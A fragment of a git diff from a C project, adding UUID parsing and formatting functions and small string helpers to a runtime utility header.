"%hhx%hhx%hhx%hhx-%hhx%hhx-%hhx%hhx-%hhx%hhx-%hhx%hhx%hhx%hhx%hhx%hhx", + in[0], + in[1], + in[2], + in[3], + in[4], + in[5], + in[6], + in[7], + in[8], + in[9], + in[10], + in[11], + in[12], + in[13], + in[14], + in[15]) == 16; +} + struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b) { struct timespec ret; diff --git a/src/util_rt.h b/src/util_rt.h index 3320566..7f95c49 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -43,12 +43,17 @@ void prne_shutdown (const int fd, const int how); void *prne_malloc (const size_t se, const size_t cnt); void *prne_realloc (void *ptr, const size_t se, const size_t cnt); void *prne_calloc (const size_t se, const size_t cnt); +char *prne_alloc_str (const size_t len); void prne_free (void *ptr); size_t prne_getpagesize (void); +bool prne_nstreq (const char *a, const char *b); +size_t prne_nstrlen (const char *s); void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len); char *prne_strnchr (const char *p, const char c, const size_t n); size_t prne_str_shift_spaces (char *str, const size_t len); +bool prne_uuid_fromstr (const char *str, uint8_t *out); +bool prne_uuid_tostr (const uint8_t *in, const size_t out_size, char *out); struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b); double prne_real_timespec (const struct timespec ts); -- cgit